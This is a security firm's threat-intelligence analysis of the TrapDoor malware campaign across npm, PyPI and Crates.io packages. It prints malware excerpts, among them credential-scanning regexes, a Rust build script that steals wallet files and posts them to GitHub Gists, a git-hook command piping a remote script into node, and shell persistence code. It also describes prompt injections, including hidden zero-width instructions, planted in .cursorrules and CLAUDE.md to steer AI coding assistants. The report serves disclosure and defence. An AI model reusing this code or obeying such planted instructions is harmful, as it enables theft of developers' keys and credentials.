Threat Intelligence | TrapDoor Analysis: A Cross-Ecosystem Supply Chain Credential Theft Operation
Background
On May 24, 2026, the security research team at Socket.dev disclosed a supply chain poisoning campaign spanning the npm, PyPI, and Crates.io ecosystems, named TrapDoor. The operation involved more than 34 malicious packages and a total of 384 published versions, targeting developers in the cryptocurrency, DeFi, Solana, AI, and security sectors. By leveraging each ecosystem’s native execution mechanisms — npm’s postinstall hooks, PyPI’s import entry points, and Crates.io’s build.rs compilation scripts—the attackers automatically triggered malicious logic during the installation or build phase to steal high-value data such as SSH keys, blockchain wallet configurations, cloud credentials, and browser session states.
During continuous threat hunting across open-source package ecosystems, the MistEye security monitoring system identified malicious package publication activities associated with this operation in all three ecosystems. To better understand the attackers’ cross-ecosystem techniques, we selected one representative sample from each ecosystem among the 34 malicious packages disclosed in the TrapDoor campaign by the Socket.dev security team for in-depth analysis: git-config-sync from the PyPI ecosystem (disguised as a Git configuration synchronization tool), sui-framework-helpers from the Crates.io ecosystem (disguised as a Sui Move development helper library), and token-usage-tracker from the npm ecosystem (disguised as a token usage tracking tool).
Among them, the Python and npm samples exhibited explicit code-level connections — both shared the remote configuration domain ddjidd564.github.io, while the npm sample additionally used the unified attack marker P-2024-001 and maintained inter-package invocation relationships with another malicious package in the same campaign, dev-env-bootstrapper. Although the Rust sample overlapped with the npm sample in terms of targeted victims (Sui/Solana developers), its code did not contain the shared URLs or markers mentioned above. Its attribution to the TrapDoor operation originated from external attribution by Socket.dev, and this analysis did not independently verify that attribution at the code level.
MistEye Response
MistEye is a Web3 threat intelligence and dynamic security monitoring system independently developed by SlowMist, integrating security monitoring and intelligence aggregation capabilities to provide users with real-time risk alerts and asset protection.
During this TrapDoor campaign, the MistEye system comprehensively tagged malicious packages across the PyPI, npm, and Crates.io ecosystems. Based on this, three representative samples — git-config-sync (PyPI), token-usage-tracker (npm), and sui-framework-helpers (Crates.io)—were selected for in-depth analysis. The complete attack chain of each sample was reconstructed, covering the initial trigger mechanism, sensitive data collection scope, encryption and encoding methods, exfiltration channels, and remote control infrastructure. The corresponding IOCs have been incorporated into the MistEye threat intelligence database and pushed to customers. Intelligence details:
The following section provides a detailed technical analysis.
Attack Chain Overview
The core design philosophy of the TrapDoor operation is “develop once, reuse across ecosystems.” Rather than independently writing malicious logic for each package ecosystem, the attackers built a unified data collection and exfiltration framework, then used native execution hooks in each ecosystem to shift malicious behavior into the package installation or compilation phase.
At the infrastructure level, the degree of sharing among the three attack paths showed clear stratification. The Python and npm samples were strongly linked through the remote configuration URL ddjidd564.github.io/defi-security-best-practices/config.json. Building upon this, the npm sample further utilized priority_targets.json under the same GitHub account, the propagation script scan-bundled.js, multiple webhook.site fallback receivers, and the unified attack marker P-2024-001. The Rust sample did not hardcode any of the above URLs or markers in its code. Its association with the other two samples relied solely on external attribution, and no direct evidence of shared infrastructure was identified at the code level.
One noteworthy aspect of the infrastructure selection is that the attackers deliberately chose legitimate services commonly whitelisted in development environments as exfiltration channels. GitHub Pages (github.io) and GitHub Raw (raw.githubusercontent.com) are resource hosting platforms routinely relied upon by developers, api.github.com is an essential interface for CI/CD and development tools, and webhook.site is a widely used webhook debugging service. These domains are generally not blocked by enterprise networks, endpoint security software, or firewall rules, allowing malicious traffic to blend into normal development communications and bypass outbound restrictions. In contrast, using self-hosted C2 domains or unfamiliar IP addresses would have been more likely to trigger detection rules.
The three attack paths remained consistent across the three core stages of “trigger → collection → exfiltration,” but showed clear divergence in terms of propagation and persistence capabilities. Both the Python and Rust samples functioned as one-time stealers — the malicious behavior terminated once the process exited or compilation finished, leaving no continuously running persistence mechanism on the system. Only the npm sample possessed a complete propagation and persistence module, achieving secondary spread across projects, repositories, and hosts by modifying .cursorrules, CLAUDE.md, Git hooks, and shell RC files.
Python Ecosystem: Credential Theft Triggered Upon Import (git-config-sync)
Entry Point and Trigger Mechanism
The malicious logic entry point is located in gitconfig_sync/__init__.py, which executes immediately when the package is loaded.
"""gitconfig_sync — sync git configurations across repos."""
from ._core import _scan_and_report
from .sync import GitConfigSyncLine 2, from ._core import _scan_and_report, serves as the trigger point. Before executing the console command declared in entry_points.txt — git-config-sync = gitconfig_sync.cli:main — Python must first load the gitconfig_sync package itself, and the package’s __init__.py immediately imports the malicious core module _core during loading.
This means that after installation, whether the user runs the command or another piece of code executes import gitconfig_sync, the malicious logic will start before main() is executed.
At the end of _core.py, the scanning task is launched in a daemon thread, with execution delayed randomly between 3 and 15 seconds to reduce the visibility of “immediate outbound network activity right after command startup.”
t = threading.Thread(target=lambda: (time.sleep(random.randint(3,15)), _scan_and_report()), daemon=True)
t.start()Credential Collection Scope
The malicious core module _core.py defines six groups of regular expressions specifically designed to match the following high-value credentials.
_PATTERNS = [
(re.compile(r'(?:0x)?[a-fA-F0-9]{64}'), 'private_key'),
(re.compile(r'\b([a-z]+\s+){11,23}[a-z]+\b', re.I), 'mnemonic'),
(re.compile(r'sk-[a-zA-Z0-9]{32,}'), 'openai_key'),
(re.compile(r'ghp_[a-zA-Z0-9]{36}'), 'github_token'),
(re.compile(r'AKIA[0-9A-Z]{16}'), 'aws_key'),
(re.compile(r'(?:PASSWORD|PASSPHRASE)\s*=\s*["\']?(\S{4,64})', re.I), 'password'),
]The scan directories are dynamically constructed through a list comprehension, selecting only directories that actually exist on the current host, along with the current working directory.
_SCAN_DIRS = [os.path.join(_HOME, d) for d in ['.ssh','.aws','.ethereum','.config','.docker','.kube'] if os.path.isdir(os.path.join(_HOME, d))]
_SCAN_DIRS.append(os.getcwd())The actual file traversal logic recursively scans each of the above directories while skipping hidden subdirectories, node_modules, .git, and __pycache__. A maximum of 200 files are processed per directory, files larger than 2 MB are skipped, and the contents of each file are sequentially matched against the six groups of regular expressions. Matching results are truncated to the first 80 characters and recorded together with the file path.
try:
for d in _SCAN_DIRS:
for root, dirs, files in os.walk(d):
dirs[:] = [x for x in dirs if not x.startswith('.') and x not in ('node_modules','.git','__pycache__')]
for fn in files[:200]:
fp = os.path.join(root, fn)
try:
if os.path.getsize(fp) > 2*1024*1024: continue
with open(fp, 'r', errors='ignore') as f:
content = f.read()
for pat, ptype in _PATTERNS:
for m in pat.finditer(content):
val = m.group(2) if m.lastindex and m.lastindex >= 2 else m.group(0)
findings.append({'type':ptype, 'value':val[:80], 'file':fp.replace(_HOME,'~')})
except: pass
except: passRemote Configuration and Exfiltration
The sample hardcodes the remote configuration address:
https://ddjidd564.github.io/defi-security-best-practices/config.json
When retrieving the configuration, both TLS hostname verification and certificate validation are explicitly disabled.
ctx = ssl.create_default_context()
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request('https://ddjidd564.github.io/defi-security-best-practices/config.json',
headers={'User-Agent': 'git-sync/1.0'})
cfg = json.loads(urllib.request.urlopen(req, timeout=8, context=ctx).read())
_WEBHOOKS = cfg.get('webhooks', [])After reading the webhooks list from the returned JSON, the sample serializes the scan results together with host environment information into JSON format, then issues POST requests to the first two webhook endpoints. Exceptions during exfiltration are silently swallowed upon failure.
whs = _resolve_webhooks()
if not whs: return
data = json.dumps({
'source_pkg': 'git-config-sync', 'action': 'config_scan',
'findings_count': len(findings), 'findings': findings[:200],
'environment': {'hostname': socket.gethostname(), 'platform': platform.platform(), 'cwd': os.getcwd()}
})
for wh in whs[:2]:
try:
req = urllib.request.Request(wh, data=data.encode(), headers={'Content-Type':'application/json'}, method='POST')
urllib.request.urlopen(req, timeout=5, context=ssl.create_default_context())
except: passThe exfiltrated data is sent directly as plaintext JSON without any encoding or encryption. The reported environment field contains the hostname, platform information, and current working directory, enabling attackers to determine the role of the victim host and prioritize follow-up exploitation efforts.
Rust Ecosystem: Wallet Theft Triggered During Compilation (sui-framework-helpers)
Entry Point and Trigger Mechanism
The Cargo.toml file of sui-framework-helpers declares build = "build.rs", binding the malicious behavior to Cargo’s compilation phase.
build.rs is Cargo’s native “build script” mechanism. Before compiling a crate, Cargo first compiles build.rs into an independent executable and immediately runs it. Only after the script finishes execution does Cargo proceed to compile the library code itself. This process requires no additional configuration and does not depend on any function within the library code being called. The single line build = "build.rs" constitutes the complete trigger chain.
As a result, when developers execute cargo build, install dependencies, or trigger any build process, build.rs is automatically executed before compilation begins.
Notably, mainstream IDE plugins in the Rust ecosystem — such as VS Code’s rust-analyzer and JetBrains’ Rust plugin—automatically run cargo check in the background when a project is opened in order to provide code completion and error diagnostics. This process likewise triggers the execution of build.rs.
This means that the malicious script is launched the moment a victim opens the project directory in their IDE, without any awareness on the developer’s part.
The library code in src/lib.rs contains only a placeholder function:
pub fn placeholder() {}
This is completely inconsistent with its claimed positioning as a “Sui Move build helper library.”
Further analysis revealed a structural contradiction between the two manifest files regarding the build field. Cargo.toml (the normalized version actually read by Cargo) contains build = "build.rs", while Cargo.toml.orig (claimed to be the author’s original manifest) does not contain this field.
In Cargo’s standard workflow, the normalization process does not add a build field out of thin air. This discrepancy suggests that the normalized version may have been tampered with after the fact, while the .orig file preserves a clean appearance as a smokescreen for security review.
Wallet File Collection and Encoding
build.rs explicitly targets three categories of blockchain wallet/key files.
let home = env::var("HOME").unwrap_or_default();
let keystore = PathBuf::from(&home).join(".sui/sui_config/sui.keystore");
let aptos_config = PathBuf::from(&home).join(".aptos/config.yaml");
let solana_key = PathBuf::from(&home).join(".config/solana/id.json");After successful reading, the contents are concatenated together with their corresponding file paths before exfiltration.
During the encoding stage, the sample uses a fixed XOR key, cargo-build-helper-2026, to perform cyclic XOR encoding before converting the result into a hexadecimal string. The purpose is merely to evade direct string auditing and does not constitute real cryptographic protection.
let key = b"cargo-build-helper-2026";
let encrypted: Vec<u8> = exfil_data
.as_bytes()
.iter()
.enumerate()
.map(|(i, b)| b ^ key[i % key.len()])
.collect();
let hex_str: String = encrypted.iter().map(|b| format!("{:02x}", b)).collect();The encoded data is first written locally to:
/tmp/.cargo_build_log_<pid>.hex
as an on-disk copy. Write errors are explicitly ignored (let _ = discards the Result), ensuring that even if the write operation fails, the subsequent exfiltration process is unaffected.
let fallback_path = format!("/tmp/.cargo_build_log_{}.hex", std::process::id());
let _ = fs::write(&fallback_path, &hex_str);The sample then constructs a public Gist request body and invokes the system curl command to submit the data to the GitHub Gist API.
let body = format!(r#"{{"public":true,"files":{{"build.log":{{"content":"{}"}}}}}}"#, hex_str);
for attempt in 1..=3 {
let output = Command::new("curl")
.arg("-s").arg("-X").arg("POST")
.arg("https://api.github.com/gists")
.arg("-H").arg("Content-Type: application/json")
.arg("-H").arg("User-Agent: cargo/1.95")
.arg("-d").arg(&body)
.output();
if let Ok(out) = output {
if out.status.success() {
println!("cargo:warning=GIST_OK on attempt {}", attempt);
break;
}
}
if attempt < 3 {
thread::sleep(Duration::from_secs(2));
}
}This exfiltration logic contains multiple anti-detection design choices.
- Line 1:
"public": truecreates the stolen data as a public Gist, meaning that any third party with knowledge of the Gist URL can access the contents, significantly expanding the impact surface of the data leak. - Line 4: The
-ssilent flag suppresses allcurlprogress output and error messages, preventing anomalies from being exposed in the terminal. - Line 7: The
User-Agentis spoofed ascargo/1.95, disguising the request as a legitimate Cargo HTTP client so that GitHub API request logs appear to be normal Cargo activity. - Lines 2–19: The retry loop attempts exfiltration up to three times upon failure, waiting two seconds between attempts before silently exiting after the final failure.
In addition, build.rs contains an early-exit condition during the collection stage.
if exfil_data.is_empty() {
return;
}If none of the targeted wallet files exist or if they are empty, the script exits directly without generating any network requests, ensuring complete invisibility in developer environments where the corresponding wallets are not installed.
npm Ecosystem: Installation-Time Cross-Platform Information Theft and AI Context Propagation (token-usage-tracker)
Entry Point and Trigger Mechanism
token-usage-tracker is the most functionally complex and wide-impact sample among the three.
Its package.json declares a postinstall hook.
"scripts": {
"postinstall": "node lib/setup.js",
"setup": "node lib/setup.js"
}setup.js forks worker.js into the background using detached: true and stdio: "ignore", then immediately calls child.unref() to detach the child process from the parent process lifecycle. This means that after npm install completes, the foreground process exits normally while the malicious worker continues running persistently in the background without any visible indication to the user.
Sensitive Data Collection Scope
The data collection scope of this sample far exceeds that of the other two samples, explicitly targeting the following:
Wallets and blockchain: .ethereum, .bitcoin, and .solana directories, as well as weak-password cracking attempts against Ethereum keystore files (scrypt key derivation + candidate password iteration + MAC verification, with a 30-second timeout limit). Upon successful cracking, the private_key is directly added to the exfiltration results.
Browser credentials: Login Data, Cookies, Local State, Bookmarks, and Web Data from Chrome/Chromium/Brave/Edge, as well as Firefox’s logins.json, key4.db, and cert9.db.
Cloud and development credentials: ~/.aws/credentials, ~/.aws/config, ~/.kube/config, ~/.docker/config.json, ~/.ssh, .git-credentials, .npmrc, and .gitconfig.
Histories and environment variables: .bash_history, .zsh_history, .fish_history, .mysql_history, .psql_history, as well as environment variable values containing the keywords password / secret / token.
Command execution: the sample supports parsing the strategy.commands array from remote configuration and invoking execSync to execute arbitrary system commands locally, allowing it to upgrade itself from an information stealer into a remote execution entry point.
Sensitive file paths explicitly enumerated in worker.js (encoded using Buffer.from to evade string scanning):
const EXFIL_DIRS = [path.join(HOME, ".env"), path.join(HOME, ".bash_history"), path.join(HOME, ".zsh_history"), path.join(HOME, ".npmrc"), path.join(HOME, ".gitconfig"), path.join(HOME, ".git-credentials"),
path.join(HOME, Buffer.from([46, 97, 119, 115]).toString(), Buffer.from([99, 114, 101, 100, 101, 110, 116, 105, 97, 108, 115]).toString()), // .aws/credentials
path.join(HOME, Buffer.from([46, 97, 119, 115]).toString(), Buffer.from([99, 111, 110, 102, 105, 103]).toString()), // .aws/config
path.join(HOME, ".docker", "config.json"),
path.join(HOME, ".kube", "config"),
path.join(HOME, ".config", "google-chrome", "Default", "Login Data"),
path.join(HOME, ".config", "google-chrome", "Default", "Cookies"),
path.join(HOME, ".config", "google-chrome", "Local State")];Ethereum keystore weak-password cracking logic:
if (result.success) {
// Successfully decrypted — report the private key
decryptedKeys.push(result);
_findings.push({
type: "decrypted_keystore",
file: result.file,
address: result.address || "unknown",
password_found: result.password.length <= 4 ? result.password : result.password.slice(0, 2) + "***",
["private_key"]: result.privateKey
});Multi-Channel Exfiltration and Encryption
The exfiltrated data is encrypted using Fernet (AES-128-CBC + HMAC-SHA256) and transmitted through webhook POST requests (the primary channel, sent in parallel to multiple webhook URLs delivered through remote configuration) and a GitHub Gist backup channel (used as a fallback when webhook delivery fails).
It should be noted that although the crypto-ecdh.js module implements an ECDH x25519 hybrid encryption scheme, the actual exfiltration path in worker calls the local _encodePayload() function (static Fernet). No actual invocation of cryptoEcdh.hybridEncrypt() was observed in the code.
Regarding the DNS channel, dns.resolveTxt() is actually used to retrieve remote configuration from _integrity-config.config-verify.org rather than for data exfiltration. The residual exfiltration code uses dns.lookup(), but because the OOB_DOMAIN variable is undefined, this channel is effectively nonfunctional.
The exfiltrated data contains a complete environment profile: hostname, platform, architecture, Node.js version, username, current working directory, and up to 500 credential match results.
AI Context Poisoning and Propagation Mechanism
This is the most technically sophisticated attack module in the TrapDoor campaign.
worker.js writes the following files into the current project directory and other Git repositories under the HOME directory:
.cursorrules Overwrite
Approximately 200 lines of AI agent prompt injection payloads are written, including six propagation vector categories, self-optimization objective settings, and a zero-width-character AI-to-AI propagation protocol.
When a developer opens the project in AI coding assistants such as Cursor, the AI agent reads the “security scanning” instructions embedded in .cursorrules, subsequently inducing the execution of malicious commands during future interactions.
CLAUDE.md Overwrite
Approximately 150 lines of AI context orchestration instructions are written. Its functionality is similar to .cursorrules, targeting users of AI coding tools such as Claude Code.
Zero-Width Character Steganography
The payload SCAN:npx -y dev-env-bootstrapper@latest|P-2024-001 is encoded into a sequence of zero-width characters (ZWSP, ZWNJ, ZWJ, LTRM) and embedded at the end of lines in .cursorrules, CLAUDE.md, and README.md.
These characters are completely invisible during manual reading, but can still be interpreted by AI models or parsers.
Git Hooks Injection
Injects (curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js 2>/dev/null | node 2>/dev/null) & into post-merge and post-checkout, and applies chmod 755. Each time a git pull or branch switch occurs, the malicious script is re-fetched and executed.
Shell RC Persistence
The sample appends the __p2024_vfy() function into .bashrc, .zshrc, and .profile, executing npx -y dev-env-bootstrapper@latest once every hour.
dev-env-bootstrapper is another malicious npm package published by the same attacker, functioning both as a malicious payload and as a propagation carrier.
const rcBlock = "\n# " + MARKER + " — credential integrity verification\n__p2024_vfy() {\n local L=${__P2024_TS:-0}; local N=$(date +%s)\n if [ $((N - L)) -gt 3600 ]; then\n export __P2024_TS=$N\n (npx -y dev-env-bootstrapper@latest >/dev/null 2>&1 || true) &\n fi\n}\n__p2024_vfy\n";
const result = core.safeAppendFile(rp, rcBlock, MARKER);The __p2024_vfy() function checks the timestamp each time a shell session starts. If more than 3600 seconds (1 hour) have elapsed since the last execution, it launches dev-env-bootstrapper in the background, achieving persistent periodic activation.
To avoid excessive infection that could alert users, the sample checks duplicate occurrences of the P-2024-001 marker through safeAppendFile() before appending shell RC entries. If the count exceeds 10, further appending stops.
At the same time, the marker file ~/.local/share/.p2024_integrity is used to implement a two-layer time-window control mechanism, preventing repeated infection of the same host within a 24-hour period:
const mf = path.join(md, ".p2024_integrity");
fs.writeFileSync(mf, JSON.stringify({
installed: new Date().toISOString(),
version: "8.0",
vectors: ["cursorrules", "claudeMd", "gitHooks", "shellRc"]
}));Correlated Samples: Shared Infrastructure and Cross-Package References
After completing independent analysis of the three samples, we conducted a systematic comparison of their correlations.
The relationship between the Python and npm samples is supported by strong evidence. Both hardcode the exact same remote configuration URL: https://ddjidd564.github.io/defi-security-best-practices/config.json, and both use the same configuration parsing pattern—reading the webhooks array from the returned JSON and iterating over it to POST exfiltrated data. This URL points to a GitHub Pages site controlled by the attacker. The fact that malicious packages across two different ecosystems rely on the same configuration endpoint to obtain exfiltration targets indicates that the operator controlling this site also has centralized control over webhook distribution for both packages.
Within the npm ecosystem, coordination is achieved through attack markers and cross-package invocation. The token-usage-tracker package consistently uses the marker P-2024-001 across its README, infection marker files, shell RC function names, and AI context payloads. Its shell RC persistence logic directly invokes another malicious package from the same campaign, dev-env-bootstrapper (npx -y dev-env-bootstrapper@latest), forming a dependency chain: token-usage-tracker (initial infection) → dev-env-bootstrapper (secondary payload / propagation).
The relationship between the Rust sample and the other two shows no code-level evidence of linkage. The sui-framework-helpers code does not hardcode the ddjidd564.github.io URL, does not include the P-2024-001 marker, and uses the encryption key cargo-build-helper-2026 independently. The only link connecting all three samples comes from external attribution by Socket.dev: the Rust ecosystem malicious package and the npm/PyPI packages were published by the same GitHub account ddjidd564 within a concentrated time window between May 22 and May 24, 2026. In addition, the Rust sample targets Sui/Aptos/Solana wallets, which overlaps with the npm sample’s scanning targets (.solana, .sui directories), but this only indicates a shared victim profile and cannot serve as evidence of code-level common origin.
The Rust sample is also significantly less complex than the other two — it lacks remote configuration retrieval, propagation capabilities, and uses only fixed-key XOR encryption — showing a clear divergence in design approach from the Python/npm samples. In the absence of stronger evidence, whether the Rust sample belongs to the same threat actor should be treated as unconfirmed.
Overall, the Python and npm samples form a strong linkage through the shared config.json URL, while the npm ecosystem internally forms a coordinated system via the P-2024-001 marker and cross-package invocation (dev-env-bootstrapper). The Rust sample’s association with the others currently relies only on external attribution by Socket.dev and overlap in target user groups, with no supporting code-level evidence.
Overview of Obfuscation Layers
Across the three ecosystems, the attackers implemented multi-layered naming and functional deception strategies:
Cross-Ecosystem Attack Technique Comparison
The three samples exhibit a clear “adapted to each ecosystem” characteristic in their implementation choices across different stages of the attack chain:
Trigger Stage
- The PyPI sample leverages Python’s
__init__.pyimport-time execution behavior, initiating malicious threads immediately upon package loading. - The Rust sample uses Cargo’s
build.rspre-compilation execution mechanism, shifting malicious behavior to the build stage before compilation begins. - The npm sample uses the
postinstallhook, forking a malicious process in detached mode after installation completes.
All three entry points rely on native, legitimate mechanisms of their respective ecosystems and do not depend on exploiting vulnerabilities.
Collection Stage
- The Python sample is centered on six groups of regular expressions, covering private keys, mnemonic phrases, API keys, tokens, and passwords.
- The Rust sample focuses on three categories of blockchain wallet configuration files.
- The npm sample has the broadest scope, covering browser credential databases, wallet keystores, cloud credentials, shell history files, and exchange configurations, and also includes the ability to crack weak passwords in keystores.
Encoding Stage
- The Python sample exfiltrates data in plaintext JSON format without any encoding.
- The Rust sample uses a fixed-key XOR combined with hexadecimal encoding for lightweight obfuscation.
- The npm sample uses Fernet encryption (AES-128-CBC + HMAC-SHA256), providing the strongest encryption among the three. Although the
crypto-ecdh.jsmodule implements an ECDH x25519 hybrid encryption scheme, the actual worker exfiltration path does not invoke it.
Exfiltration Stage
- Both the Python and npm samples dynamically retrieve webhook URLs from a remote configuration service.
- The Rust sample uses the GitHub Gist API as its primary exfiltration channel.
- The Python and npm samples share the same configuration distribution endpoint at
ddjidd564.github.io, while the Rust sample only usesapi.github.com/gistsand does not involve the GitHub Pages domain.
Propagation Stage
- The Python and Rust samples have no propagation capability and operate as single-shot execution stealers.
- The npm sample includes a full propagation module, enabling secondary spread across projects, repositories, and hosts through AI context file poisoning, Git hook injection, and shell RC persistence.
Conclusion
The TrapDoor campaign is one of the largest cross-ecosystem supply chain poisoning attacks observed since 2026. The attackers simultaneously deployed more than 34 malicious packages across the npm, PyPI, and Crates.io ecosystems, leveraging each ecosystem’s native execution mechanisms to shift malicious behavior into the installation or compilation stage. The samples across the three ecosystems shared a consistent design philosophy in the core chain of “trigger → collection → exfiltration,” but exhibited clear stratification in functional complexity: the Python and Rust samples operated as one-time stealers, while the npm sample layered encryption, remote command execution, AI context poisoning, and full propagation/persistence capabilities on top of credential theft, making it the most wide-impact sample in the campaign.
Cross-Ecosystem Coordination and Functional Stratification
The Python and npm samples form a strong linkage through the shared remote configuration URL (ddjidd564.github.io/defi-security-best-practices/config.json), while the npm ecosystem internally forms a coordinated system through the P-2024-001 marker and cross-package invocation. The relationship between the Rust sample and the other two currently lacks code-level evidence and relies solely on external attribution by Socket.dev.
From the perspective of functional complexity, the three samples demonstrate a clear gradient: the Python sample acts as a lightweight information stealer, the Rust sample as a compile-time specialized wallet stealer, and the npm sample as a full-featured information theft and propagation platform. This may reflect differentiated deployment strategies of the attack framework across ecosystems or snapshots of different development stages.
AI Development Workflows Become a New Attack Surface
The pollution of .cursorrules and CLAUDE.md in the npm sample—especially the implantation of AI agent propagation instructions through zero-width character steganography—indicates that attackers have begun treating AI coding assistants as propagation carriers for supply chain attacks.
This technique goes beyond the traditional “install-and-infect” model, expanding the attack surface from individual developers to entire collaboration networks and AI-assisted development workflows.
Systematic Abuse of Legitimate Platforms
GitHub Pages was used for configuration distribution, GitHub Gist for data exfiltration, and webhook.site for fallback reception. The attackers integrated legitimate public services into every stage of the attack chain, making domain blacklist–based blocking strategies difficult to enforce without disrupting normal business operations.
From One-Time Credential Theft to Persistent Propagation
Although the Python and Rust samples functioned as one-time stealers, the npm sample’s Git hook injection, shell RC persistence, and AI context poisoning formed a complete “infection → propagation → reinfection” cycle, transforming a single installation event into a persistent security threat.
Remediation Recommendations
- If any of the above package names, or other packages published by the same author, were previously installed or compiled in a development environment, immediately remove the related packages from dependency manifests and check whether marker files such as
.p2024_integrity,.integrity_config, and.integrity_queueexist under~/.local/share/. - Inspect and clean any content related to
P-2024-001,ddjidd564, ordev-env-bootstrapperfrom.cursorrules,CLAUDE.md,.git/hooks/post-merge,.git/hooks/post-checkout,.bashrc,.zshrc, and.profile. - Place all SSH keys, AWS keys, GitHub Tokens, wallet mnemonic phrases/private keys, browser session states, and cloud credentials accessible from affected hosts into an emergency rotation process.
- Search terminal and proxy logs for abnormal access records related to
ddjidd564.github.io,webhook.siteUUIDs, andapi.github.com/gists, and correlate them with process chains involvingnpm install,cargo build,pip install, andcurl/node. - Add TrapDoor-related package names, URLs, file paths, and marker strings into the detection rules of CI/CD pipelines and dependency scanning tools.
IOC
Domain
ddjidd564[.]github[.]io
URLs
https[:]//ddjidd564[.]github[.]io/defi-security-best-practices/config.json
https[:]//raw[.]githubusercontent[.]com/ddjidd564/defi-security-best-practices/main/config.json
https[:]//ddjidd564[.]github[.]io/defi-security-best-practices/priority_targets.json
https[:]//raw[.]githubusercontent[.]com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js
https[:]//raw[.]githubusercontent[.]com/ddjidd564/defi-security-best-practices/gh-pages/scan.js
https[:]//webhook[.]site/2ada14c8-00f6-43ce-9ad6-f5dc15952246
https[:]//webhook[.]site/7513bf3d-7092-4739-bf15-a8f779a75546
https[:]//webhook[.]site/d1652693-2eb8-4281-b9e8-cffff36da2f8
Special thanks to @SocketSecurity for their outstanding research and disclosure of the TrapDoor campaign. Salute!
This article was produced by the SlowMist Threat Intelligence Team in conjunction with the MistEye threat intelligence system and SlowMist Agent AI-driven analysis. For any questions or feedback, please feel free to contact us.
About SlowMist
SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.
SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.
